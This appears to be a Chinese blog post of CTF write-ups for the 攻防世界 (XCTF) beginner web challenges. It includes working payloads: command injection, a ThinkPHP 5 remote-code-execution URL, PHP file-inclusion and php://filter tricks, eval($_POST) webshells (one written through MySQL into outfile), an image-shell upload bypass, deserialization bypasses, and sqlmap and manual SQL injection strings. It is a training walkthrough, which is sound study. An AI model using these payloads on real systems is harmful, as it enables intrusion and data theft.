攻防世界-Web合集-引导模式(持续更新)

3 篇文章 0 订阅
2 篇文章 1 订阅

目录

view_source

方法1:关闭js,查看源码

方法2:F12查看源码

robots

backup

disabled_button

get_post

weak_auth

simple_php

command_execution

xff_referer

simple_js

Training-WWW-Robots

baby_web

ics-06

PHP2

php_rce ThinkPHP V5漏洞

Web_php_include 文件包含

方法一:用data://数据流构造器方式

方法二:data伪协议传入木马+菜刀

方法三:数据库写入马

unserialize3 反序列化

upload1 文件上传

方法一:bp抓包

方法二:制作图片马

WarmUp 代码审计

NewsCenter

方法一:sqlmap

方法二:手工注入

Web_php_unserialize 反序列化

supersqli

mfw

Cat

inget

方法一:万能密码

方法二:sqlmap

fileclude

ics-05

fileinclude

view_source

发现右键被锁定了

方法1:关闭js,查看源码

在火狐url中输入about:config

2.在搜索框中输入JavaScript,找到javascript.enabled将其转换为false

3.这样使用火狐任何界面JavaScript均会被禁用

方法2:F12查看源码

robots

①查看robots.txt文件

robots协议(又叫伪君子协议),它是用于网站中的,为了防止网站一些铭感目录被爬虫爬取,所以特地建了一个文本文档用来表明那些目录是攻击者不能爬取的

②查看f1ag_1s_h3re.php

backup

index.php的备份文件名通常是index.php.bak

.bak通常是编辑这个文件时,自动生成的备份文件,可以用于紧急恢复 ,通常命名为xxx.bak

.git .bak .back .swp .phps .svn .bash_history .......

访问index.php.bak

burp抓包

访问cookie.php

提示See the http response

F12

cyberpeace{729f956bd8142a74a2bfb4e5a9ddd00b}

disabled_button

一个不能按的按钮

因为flag按钮设置了 disabled属性

html中的disabled属性规定应该禁用input元素,禁用后的input元素既不可用,也不可点击,导致其无法被点击

删去disabled=""

发现flag按钮可以点击,获得flag

cyberpeace{e2d8f72bfae1b2bb0855c622f8c40eb6}

get_post

正常提交

在url中提交 ?a=1

依照提示操作,post提交一个b=2

weak_auth

一个登录界面

随便尝试111 222

提示用户名是admin

用bp爆破密码

登录,admin 123456

得到cyberpeace{c55c1da34e6b8fe2f54896cd5fa1de9d}

simple_php

<?php
show_source(__FILE__);
include("config.php");
$a=@$_GET['a'];
$b=@$_GET['b'];  //get传入a和b
if($a==0 and $a){  //弱比较,如果a==0且a为真
    echo $flag1;   
}
if(is_numeric($b)){ //如果b是数字则退出 
    exit();
}
if($b>1234){  //如果b>1234
    echo $flag2;
}
?> 

php为弱语言

==仅表示数值相等,而且当数字和字母组成的字符串与数字进行比较时,仅会以最前面的数字参与比较

令a=0abcd,即a=0加上一串字母

同理b=12345a

?a=0abcd&b=12345a

Cyberpeace{647E37C7627CC3E4019EC69324F66C7C}

command_execution

ping发现是一个linux系统

A;B         先执行A,再执行B

A&B       简单拼接,A B之间无制约关系

A|B        显示B的执行结果

A&&B     A执行成功,然后才会执行B

A||B        A执行失败,然后才会执行B

127.0.0.1 & ls

可以被运行,那就来找找文件名包含flag的文件

127.0.0.1 && find / -name "flag*"

特别慢

127.0.0.1 & find / -name flag.txt

127.0.0.1 & cat /home/flag.txt

cyberpeace{55baf80b2dae9189fcfeaa78994872fb}

xff_referer

要求:ip地址必须为123.123.123.123

bp抓包

最后一行加上X-Forwarded-For: 123.123.123.123

看到必须来源于https://www.google.com

再加上 Referer: https://www.google.com

cyberpeace{541e443f300c15bf89d5bf4784e6e9d6}

simple_js

<html
<head>
    <title>JS</title>
    <script type="text/javascript">
    function dechiffre(pass_enc){
        var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65";
        var tab  = pass_enc.split(',');
                var tab2 = pass.split(',');var i,j,k,l=0,m,n,o,p = "";i = 0;j = tab.length;
                        k = j + (l) + (n=0);
                        n = tab2.length;
                        for(i = (o=0); i < (k = j = n); i++ ){o = tab[i-l];p += String.fromCharCode((o = tab2[i]));
                                if(i == 5)break;}
                        for(i = (o=0); i < (k = j = n); i++ ){
                        o = tab[i-l];
                                if(i > 5 && i < k-1)
                                        p += String.fromCharCode((o = tab2[i]));
                        }
        p += String.fromCharCode(tab2[17]);
        pass = p;return pass;
    }
    String["fromCharCode"](dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"));
    h = window.prompt('Enter password');
    alert( dechiffre(h) );

</script>
</head>

</html>

分析源代码

密码为 \x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30

a = "\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c" \
        "\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31" \
        "\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"
print(a)

得到 55,56,54,79,115,69,114,116,107,49,50

再将数字以ascii转为字符

a = "\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c" \
        "\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31" \
        "\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"print(a)

b = [55, 56, 54, 79, 115, 69, 114, 116, 107, 49, 50]
d = ""for i in b:
    c = chr(i)
    d = d + c
print(d)

Cyberpeace{786OsErtk12}

Training-WWW-Robots

发现提示,访问/robots.txt

访问/f10g.php

cyberpeace{99bf2af0a1a362883235777454d185ba}

baby_web

初始页面一般是index.php

访问index.php时发现他自动跳转回了1.php

抓包

Location: 1.php

所以index.php通过302重定向1.php

flag{very_baby_web}

ics-06

发现只有一处可以进入

bp抓包,爆破id

爆出2333

url中输入?id=2333,出现flag

cyberpeace{26598f7853cc0105fd6a2defbff2e968}

PHP2

搜集目标网站的目录信息

python dirsearch -u 目标网站 -e php

python dirsearch.py -u 61.147.171.105:50259 -e php

访问php时没有回显

攻防世界--PHP2_攻防世界php2-CSDN博客

phps文件就是php的源代码文件,通常用于提供给用户(访问者)查看php代码,因为用户无法直接通过Web浏览器看到php文件的内容,所以需要用phps文件代替。

/index.phps 发现残留的文件

查看源码

?php
if("admin"===$_GET[id]) {
  echo("<p>not allowed!</p>");
  exit();
}

$_GET[id] = urldecode($_GET[id]);   //将id进行url解码 
if($_GET[id] == "admin")  
{
  echo "<p>Access granted!</p>";
  echo "<p>Key: xxxxxxx </p>";
}
?>

Can you anthenticate to this website?

我们要把admin进行2次编码,因为get接收到之后会解码一次

得到%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65

/index.php?id=%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65

cyberpeace{7022f085ddb202ad5debcb8e803688f7}

php_rce ThinkPHP V5漏洞

可能是暗示这个版本有什么漏洞

thinkphp漏洞总结

ThinkPHP漏洞大全-CSDN博客

漏洞利用:

http://xx.xx.xx.xx/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=命令参数

/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find / -name "*flag*"

/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag

flag{thinkphp5_rce}flag{thinkphp5_rce}

flag{thinkphp5_rce}

<?php 

class Demo { 

    private $file = 'index.php';
    //构造函数,传入文件
    public function __construct($file) { 
        $this->file = $file; 
    }
    //析构函数
    function __destruct() { 
        //输出$file代表的文件
        echo @highlight_file($this->file, true); 
    }
    //反序列化的时候执行
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}

//如果get进来var
/*
if (isset($_GET['var'])) { 
    //进行base64解密
    $var = base64_decode($_GET['var']); 
    //正则匹配
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
*/

//此时$file='fl4g.php';
$a = new Demo('fl4g.php');
$b = serialize($a);
echo $b."<br/>";
$c = str_replace('O:4','O:+4',$b);
$d = str_replace(':1:',':2:',$c);
echo $d."<br/>";
$e = base64_encode($d);
echo $e;

?>

Web_php_include 文件包含

<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
//strstr()搜索字符串在另一个字符串中是否存在,如果是,返回字符串及剩余部分,否则返回false
    $page=str_replace("php://", "", $page);
    //str_replace(find,replace,string)用空替换$page中的php://
}
include($page);
?>
方法一:用data://数据流构造器方式

?page=data://text/plain,

base64编码

?page=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

?page=data://text/plain,<?php system('ls'); ?>

发现fl4gisisish3r3.php

?page=data://text/plain,<?php system('cat fl4gisisish3r3.php'); ?>

没有回显,我怀疑cat被过滤了

换成tac(tac和cat类似,也可以读取内容,但会多显示行数

?page=data://text/plain,<?php system('tac fl4gisisish3r3.php');?>

ctf{876a5fca-96c6-4cbd-9075-46f0c89475d2}

方法二:data伪协议传入木马+菜刀
<?php eval($_POST['a']);?>

base64加密,得到PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7ID8+Cg==

?page=data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7Pz4=

连接菜刀

读取/var/www/fl4gisisish3r3.php

方法三:数据库写入马

御剑扫描后台

获得phpmyadmin

​​

用户名root 密码空

攻防世界Web_php_include详解-CSDN博客

into outfile 语句用于把表数据导出到一个文本文件中,要想mysql用户对文件进行导入导出,首先要看指定的权限目录。mysql 新版本下secure_file_priv参数是用来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()传到哪个指定目录的。

当secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出;

当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下;

当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制。

执行SHOW VARIABLES LIKE "secure_file_priv"

查看secure_file_priv是否为空,为空可以写入

​​

写入一句话马

select "<?php eval($_POST('b'));?>" into outfile '/tmp/muma.php'

​​

linux默认tmp是可写目录

菜刀连接

​​

查看/var/www/fl4gisisish3r3.php

得到flag

unserialize3 反序列化

xctf的unserialize3-CSDN博客

unserialize3与反序列化漏洞零基础详解-CSDN博客

#序列化
<?php
class test{
 public $name = "f1r3K0";
 public $age = "18";
}
$class = new test();
$class_ser = serialize($class);
print_r($class_ser);
?>

#反序列化
<?php
class test{
 public $name = "f1r3K0";
 public $age = "18";
}
$class = new test();
$class_ser = serialize($class);
print_r($class_ser);

$class_unser = unserialize($class_ser);
print_r($class_unser);
?>

​​

class xctf{                      //定义一个名为xctf的类
public $flag = '111';            //定义一个公有的类属性$flag,值为111
public function __wakeup(){      //定义一个公有的类方法__wakeup()
exit('bad requests');            //输出bad requests后退出当前脚本
}
}
?code=                           //可能是在提示?code=一个值进行利用

实例化xctf类并对其使用序列化

<?php
class xctf{                      
public $flag = '111';            
public function __wakeup(){      
exit('bad requests');
}
}

$a = new xctf();
echo(serialize($a));       
?>

​​

O:4:"xctf":1:{s:4:"flag";s:3:"111";}

绕过__wakeup方法

__wakeup()函数漏洞原理:当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行。

因此,需要修改序列化字符串中的属性个数

?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}

​​

xctf{1038e3fd96b844fe5ac733880dc1f0e0}

upload1 文件上传

​​

写一个一句话木马muma.php

<?php @eval($_POST['www']); echo('success'); ?>

先直接上传试一下

​​

提示需要图片

方法一:bp抓包

发现php依然无法从浏览器发送到burp上,说明是前端校验

先改文件后缀php为jpg

上传抓包

在包中修改文件后缀为php

​​

看一下是否真的上传成功

显示了success说明成功的

​​

连接蚁剑

​​

找到flag.php

​​

cyberpeace{70c2d8846eea88037cd5e4648b315c1e}

方法二:制作图片马

cd desktop

copy lyf.jpg/b + muma.php/a yile.jpg

上传成功

​​

http://61.147.171.105:63554/upload/1687746428.yile.jpg

菜刀连接

​​​

WarmUp 代码审计

​​​

查看源码发现提示

​​​

访问source.php

发现源代码

 <?php
    highlight_file(__FILE__);
    class emmm
    {       
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];   //白名单
            
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;   //没有设置$page或者$page不是字符型返回false
            }
            if (in_array($page, $whitelist)) {  //in_array()检查数组中是否存在某个值
                return true;  //验证输入的是否为
白名单内容,是则返回真
            }
            
            //mb_substr()返回字符串的一部分
            //mb_strpos()查找字符串在另一个字符串中首次出现的位置,没匹配到则返回字符串长度 
             
            //mb_strpos返回$page里?出现的第一个位置
            //mb_substr截取?前内容,无?则全部获取                                                                                                                                                                                                                                                                                                                                                                                                     
            $_page = mb_substr($page,
0,
mb_strpos($page . '?', '?'));  
            if (in_array($_page, $whitelist)) {
                return true;  //如果$_page在白名单里则返回true
            }
            
            $_page = urldecode($page);  //对$page进行url解码
            $_page = mb_substr($_page,
0,
mb_strpos($_page . '?', '?'));  
            //解码后,再次截取?前的字符
            if (in_array($_page, $whitelist)) {
                return true;  //第三次白名单验证
            }
            echo "you can't see it";
            return false;
        }
    }

 //主函数
    if (! empty($_REQUEST['file'])  //empty()用于检查一个变量是否为空,file不能为空,我们要传入一个file参数
        && is_string($_REQUEST['file'])  //判断是否为string类型
        && emmm::checkFile($_REQUEST['file'])  //调用checkFile,检测是否过白名单
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?> 

白名单中发现有个hint.php,访问一下

​​​

①第一次白名单检测:

由于截取是从?开始

所以应当构造payload为source.php?或者是hint.php?

这样截取后source.php在白名单中,返回真。

②第二次白名单检测:

我们要传的参数为ffffllllaaaagggg,接受参数的变量为file

source.php?ffffllllaaaagggg之后也没有显示出flag

由于source.php被当作文件目录,没有找到相应的文件,所以需要…/尽可能多的返回到顶级目录

构造?file=source.php?/../../../../ffffllllaaaagggg

③第三次白名单检测:

url解码后为source.php?file=source.php?/../../../../ffffllllaaaagggg,截取?之前的内容为source.php,成功绕过第三次白名单检测。所以我们要先编码。

payload:

source.php?file=source.php%3F%2F..%2F..%2F..%2F..%2Fffffllllaaaagggg

或者

source.php?file=hint.php%3F%2F..%2F..%2F..%2F..%2Fffffllllaaaagggg

或者

source.php?file=source.php?/../../../../ffffllllaaaagggg

可以自己写脚本

<?php

$a = "source.php?/../../../../ffffllllaaaagggg";
echo urlencode($a);

?>

直接url编码工具

​​​

​​​

flag{25e7bce6005c4e0c983fb97297ac6e5a}

NewsCenter

一个搜索的界面

​​​

搜索关键词可以显示相应news

扫描出来一个robot.txt

但是访问不了

​​​

查看源码也没有线索

目标还是锁定搜索框

尝试sql注入

方法一:sqlmap

bp抓包

​​​

将抓包内容保存入1.txt,1.txt在桌面上

使用sqlmap

python sqlmap.py -r C:\Users\xxx\Desktop\1.txt

发现可以注入

​​​

--dbs 枚举数据库管理系统数据库

--tables 枚举DBMS数据库中的表

--columns 枚举DBMS数据库表列

-D 要进行枚举的指定数据库名

-T 要进行枚举的指定表名

-C 要进行枚举的指定列名

--dump 转储数据库表项,查询字段值

首先--dbs获取库名

python sqlmap.py -r C:\Users\xxx\Desktop\1.txt --dbs

​​​

然后--tables获取表名

python sqlmap.py -r C:\Users\xxx\Desktop\1.txt -D news --tables

​​​

接着我们--dump直接获取到flag

python sqlmap.py -r C:\Users\xxx\Desktop\1.txt -D news -T secret_table --columns

​​​

python sqlmap.py -r C:\Users\xxx\Desktop\1.txt -D news -T secret_table -C fl4g --dump

QCTF{sq1_inJec7ion_ezzz}

方法二:手工注入

查表名

1' union select 1,group_concat(table_name),database() from information_schema.tables where table_schema='news'#

查列名

1' union select 1,group_concat(column_name),database() from information_schema.columns where table_name='secret_table'#

Web_php_unserialize 反序列化

<?php
class Demo {
     private $file = 'index.php';
     public function __construct($file) {
              $this->file = $file;
     }    
     function __destruct() {
              echo @highlight_file($this->file, true);
     }
     function __wakeup() {
              if ($this->file != 'index.php') {            
                  //the secret is in the fl4g.php            
                  $this->file = 'index.php';         
              }     
      } 
}if (isset($_GET['var'])) {
     $var = base64_decode($_GET['var']);     
     if (preg_match('/[oc]:\d+:/i', $var)) {         
         die('stop hacking!');     
     } else {
             @unserialize($var);
     } 
} else {
     highlight_file("index.php"); 
}
?>

攻防世界之Web_php_unserialize(超详细WP)_攻防世界web_php_unserialize-CSDN博客

https://www.cnblogs.com/zhengna/p/13297816.html

__construct() 函数,当类新建对象的时候会执行,例如,$x = new Demo(要传给函数的值)

__destruct() 函数,当对象销毁后会调用,拿上面的代码来说,新建对象后,会先执行__construct() 函数,等所有函数执行完后就会执行该函数

__wakeup() 函数,会伴随反序列函数unserialize()的执行而先执行,也就是说,当执行反序列化函数的时候会先执行wakeup函数

highlight_file() 函数,用来输出指定PHP文件的代码

preg_match()函数,用来匹配一个正则表达,匹配上了就返回true,上面代码正则匹配的是不区分大小写的o:数字或者是c:数字,用来干扰反序列化的

发现提示the secret is in the fl4g.php   

通过get的方式用var传参fl4g.php

函数绕过:

将传的参数进行base64编码,绕过base64_decode函数

绕过preg_match(), 使用+可以绕过,正则匹配这里匹配的是 O:4,我们用 O:+4 即可绕过。

绕过wakeup(),修改反序列化串的对象属性个数(一般大于原个数)

<?php 
class Demo { 
    private $file = 'index.php';

}
$var = new Demo('fl4g.php');
$var = serialize($var);
var_dump($var);//打印显示string(48) "O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}"

$var = str_replace('O:4', 'O:+4',$var);//绕过preg_match
$var = str_replace(':1:', ':2:',$var);//绕过wakeup
var_dump($var);//string(49) "O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}"

var_dump(base64_encode($var));#显示base64编码后的序列化字符串
//string(68) "TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ=="
?>

payload:

?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

​​​

supersqli

攻防世界-Web高手进阶区-supersqli(强网杯的随便注)_bfengj的博客-CSDN博客

​​​

进行union注入的时候出现

​​​

把关键词的大小写都过滤了

可以考虑堆叠注入

/?inject=1';show databases; --+

​​​

发现

supersqli

ctftraining

因为自己已经在某个库里了

/?inject=1';show tables; --+

​​​

发现1919810931114514 、words

查看表中的列

/?inject=1';show columns from `1919810931114514`; --+

​​​

发现flag

目标:获得1919810931114514表中的flag列

?inject=1';show columns from `words`; --+

​​​

发现 id、data

说明当前默认数据库查询查询的是words这张表

我们使用rename和alter这两个命令来更改表名和字段名。

因为我们可以访问words里的columns,发现id,也就是说我们输入的1默认是查询words这个表的。

因此我们可以把words表改名成words1表,把1919810931114514表改名成words,然后再把1919810931114514里面的flag字段改名成id,然后输入1’ or 1=1#就可以成功得到flag。

攻防世界-Web高手进阶区-supersqli(强网杯的随便注)_bfengj的博客-CSDN博客

把words表名改为haha

rename tables `words` to `haha`;

rename tables `1919810931114514` to `words`;

alter table `words` change `flag` `id` varchar(100);

?inject=1';rename tables `words` to `haha`;rename tables `1919810931114514` to `words`;alter table `words` change `flag` `id` varchar(100);

最后输入一个绝对正确的答案/?inject=1' or 1 --+

​​​

mfw

发现提示

联想到git泄露

扫描后台

python dirsearch.py -u http://61.147.171.105:61090/ -e php

xxxx.com/.git/

git目录是程序员合作项目遗留

确实是存在git漏洞

利用githack库下载泄漏的文件

python GitHack.py -u http://61.147.171.105:61090/.git/

下载它网站所有git的项目遗留

得到

发现当中有一个叫做flag的文档,但是查看发现什么都没有

应该是需要经过游览器特定的转换才能够看到该文件

除了下载的index.php 文件中包含有代码

<?php

if (isset($_GET['page'])) {   //判断参数page是否为空
    $page = $_GET['page'];
} else {
    $page = "home";    //为空输出page=home
}

$file = "templates/" . $page . ".php";  //拼接形成目录路径

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
//strpos()函数,查找$file中..第一次出现的位置,查找成功则返回true,失败则返回flase
//assert()函数会将括号中的字符当成代码来执行,并返回true或false

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");

?>
<!DOCTYPE html>
<html>
    <head>
        <meta charset="utf-8">
        <meta http-equiv="X-UA-Compatible" content="IE=edge">
        <meta name="viewport" content="width=device-width, initial-scale=1">
        
        <title>My PHP Website</title>
        
        <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/css/bootstrap.min.css" />
    </head>
    <body>
        <nav class="navbar navbar-inverse navbar-fixed-top">
            <div class="container">
                <div class="navbar-header">
                    <button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false" aria-controls="navbar">
                        <span class="sr-only">Toggle navigation</span>
                        <span class="icon-bar"></span>
                        <span class="icon-bar"></span>
                        <span class="icon-bar"></span>
                      </button>
                      <a class="navbar-brand" href="#">Project name</a>
                </div>
                <div id="navbar" class="collapse navbar-collapse">
                      <ul class="nav navbar-nav">
                        <li <?php if ($page == "home") { ?>class="active"<?php } ?>><a href="?page=home">Home</a></li>
                        <li <?php if ($page == "about") { ?>class="active"<?php } ?>><a href="?page=about">About</a></li>
                        <li <?php if ($page == "contact") { ?>class="active"<?php } ?>><a href="?page=contact">Contact</a></li>
                        <!--<li <?php if ($page == "flag") { ?>class="active"<?php } ?>><a href="?page=flag">My secrets</a></li> -->
                      </ul>
                </div>
            </div>
        </nav>
        
        <div class="container" style="margin-top: 50px">
            <?php
                require_once $file;
            ?>
            
        </div>
        
        <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/1.12.4/jquery.min.js" />
        <script src="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/js/bootstrap.min.js" />
    </body>
</html>

关键代码是

assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

发现一个assert()函数,想到可以是任意代码执行漏洞

而且对于尝试$page没有任何的控制直接拼接

首先我们确定的最后想要的肯定是利用assert()函数执行cat ./template/flag.php获得flag

那么肯定要破坏原来的assert的结构才能,使得我们的目标才能达成

assert()函数

PHP中该函数用于’断言’,简单来说就是用于判断表达式或者是调试程序,当判断的内容是字符串的时候,该函数会将字符串作为PHP代码执行,因此存在任意代码执行的漏洞,类似于eval()函数

由于文件并没有对输入的字符进行过滤,所以可以进行语句闭合修改语句原本的意思

我们已经知道了flag位于/templates/flag.php路径下

构造如下payload:

?page=') or system('cat ./templates/flag.php');//

因为

$file = "templates/" . $page . ".php";

被传入之后变成:

$file="templates/') or system('cat ./templates/flag.php');//.php"

strpos()返回false,再利用or让其执行system函数,再用" // "将后面的语句注释掉

所以真正执行了以下语句

strpos('template/') or system('cat ./template/flag.php');

查看源码

cyberpeace{ebb8c5175bd7be6057ba69032d98ee4f}

攻防世界——mfw_攻防世界mfw_隐身的菜鸟的博客-CSDN博客

Cat

随便输了一个

发现是ping

应该是命令执行

攻防世界 | CAT - laolao - 博客园 (cnblogs.com)

使用@读取数据库信息

http://61.147.171.105:63576/index.php?url=@/opt/api/database.sqlite3

WHCTF{yoooo_Such_A_G00D_@}

inget

尝试一下admin

方法一:万能密码

?id=1' or 1=1 --+

方法二:sqlmap

python sqlmap.py -u "http://61.147.171.105:54510/index.php/?id=1" --dbs

python sqlmap.py -u "http://61.147.171.105:49874/index.php/?id=1" -D cyber --tables

python sqlmap.py -u "http://61.147.171.105:49874/index.php/?id=1" -D cyber -T cyber --columns

python sqlmap.py -u "http://61.147.171.105:49874/index.php/?id=1" -D cyber -T cyber -C pw --dump

cyberpeace{96f5b526e15511a792346e7961d7ff52}

fileclude

WRONG WAY! <?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET["file1"]) && isset($_GET["file2"]))
{
    $file1 = $_GET["file1"];
    $file2 = $_GET["file2"];
    if(!empty($file1) && !empty($file2))
    //如果file1和file2都不是空的
    {
        if(file_get_contents($file2) === "hello ctf")
        如果file2的内容是hello ctf
        {
            include($file1);
        }
    }
    else
        die("NONONO");
} 

http://61.147.171.105:61720/?file1=php://filter/read=convert.base64-encode/resource=flag.php&file2=data://text/plain,hello%20ctf

PD9waHAKZWNobyAiV1JPTkcgV0FZISI7Ci8vICRmbGFnID0gY3liZXJwZWFjZXsxNTMwZTE0MDEzZDM3NDcyYjQ0MjA0MDk3NzlkMDQxN30=

是base64

解密得cyberpeace{1530e14013d37472b4420409779d0417}

ics-05

一个管理系统

题目提示:

其他破坏者会利用工控云管理系统设备维护中心的后门入侵系统

用设备维护中心

http://61.147.171.105:51517/index.php/?page=index

有点像文件包含

http://61.147.171.105:51517/index.php/?page=php://filter/read=convert.base64-encode/resource=index.php

一堆base64,解密

<?php
error_reporting(0);

@session_start();
posix_setuid(1000);


?>
<!DOCTYPE HTML>
<html>

<head>
    <meta charset="utf-8">
    <meta name="renderer" content="webkit">
    <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
    <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
    <link rel="stylesheet" href="layui/css/layui.css" media="all">
    <title>设备维护中心</title>
    <meta charset="utf-8">
</head>

<body>
    <ul class="layui-nav">
        <li class="layui-nav-item layui-this"><a href="?page=index">云平台设备维护中心</a></li>
    </ul>
    <fieldset class="layui-elem-field layui-field-title" style="margin-top: 30px;">
        <legend>设备列表</legend>
    </fieldset>
    <table class="layui-hide" id="test"></table>
    <script type="text/html" id="switchTpl">
        <!-- 这里的 checked 的状态只是演示 -->
        <input type="checkbox" name="sex" value="{{d.id}}" lay-skin="switch" lay-text="开|关" lay-filter="checkDemo" {{ d.id==1 0003 ? 'checked' : '' }}>
    </script>
    <script src="layui/layui.js" charset="utf-8"></script>
    <script>
    layui.use('table', function() {
        var table = layui.table,
            form = layui.form;

        table.render({
            elem: '#test',
            url: '/somrthing.json',
            cellMinWidth: 80,
            cols: [
                [
                    { type: 'numbers' },
                     { type: 'checkbox' },
                     { field: 'id', title: 'ID', width: 100, unresize: true, sort: true },
                     { field: 'name', title: '设备名', templet: '#nameTpl' },
                     { field: 'area', title: '区域' },
                     { field: 'status', title: '维护状态', minWidth: 120, sort: true },
                     { field: 'check', title: '设备开关', width: 85, templet: '#switchTpl', unresize: true }
                ]
            ],
            page: true
        });
    });
    </script>
    <script>
    layui.use('element', function() {
        var element = layui.element; //导航的hover效果、二级菜单等功能,需要依赖element模块
        //监听导航点击
        element.on('nav(demo)', function(elem) {
            //console.log(elem)
            layer.msg(elem.text());
        });
    });
    </script>

<?php

$page = $_GET[page];

if (isset($page)) {



if (ctype_alnum($page)) {
?>

    <br /><br /><br /><br />
    <div style="text-align:center">
        <p class="lead"><?php echo $page; die();?></p>
    <br /><br /><br /><br />

<?php

}else{

?>
        <br /><br /><br /><br />
        <div style="text-align:center">
            <p class="lead">
                <?php

                if (strpos($page, 'input') > 0) {
                    die();
                }

                if (strpos($page, 'ta:text') > 0) {
                    die();
                }

                if (strpos($page, 'text') > 0) {
                    die();
                }

                if ($page === 'index.php') {
                    die('Ok');
                }
                    include($page);
                    die();
                ?>
        </p>
        <br /><br /><br /><br />

<?php
}}


//方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试

if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {

    echo "<br >Welcome My Admin ! <br >";

    $pattern = $_GET[pat];
    $replacement = $_GET[rep];
    $subject = $_GET[sub];

    if (isset($pattern) && isset($replacement) && isset($subject)) {
        preg_replace($pattern, $replacement, $subject);
    }else{
        die();
    }

}


?>

</body>

</html>

发现重点是

如果'HTTP_X_FORWARDED_FOR'] === '127.0.0.1'

则输出Welcome My Admin !

所以抓包,添加X-Forwarded-For:127.0.0.1

fileinclude

御剑扫了一下后台

先看一下chinese.php和english.php

都提示flag在flag.php

访问flag.php,页面为空

emm,看了一下原页面的源码!

发现提示咯

<?php
if( !ini_get('display_errors') ) {
  ini_set('display_errors', 'On');
  }
error_reporting(E_ALL);
//将cookie中language的值赋给变量lan
$lan = $_COOKIE['language'];
if(!$lan) //如果变量lan为空
{
        //将名为language的cookie的值设为english
    @setcookie("language","english");
        //包含english.php文件
    @include("english.php");
}
else //变量lan不为空
{
        //文件包含,变量lan内容后加上后缀.php
    @include($lan.".php");
}
//将index.php文件的内容读取并赋值给变量x
$x=file_get_contents('index.php');
echo $x;
?>

所以我们要在cookie中添加一个变量language

language的内容为

php://filter/read=convert.base64-encode/resource=/var/www/html/flag

PD9waHANCiRmbGFnPSJjeWJlcnBlYWNlezc1MjBmZmQ0NTJjYThmMTNhYzg2MmVhNzI5YmU5YTdhfSI7DQo/Pg==

base64解码得

$flag="cyberpeace{7520ffd452ca8f13ac862ea729be9a7a}";

  • 14
    点赞
  • 24
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值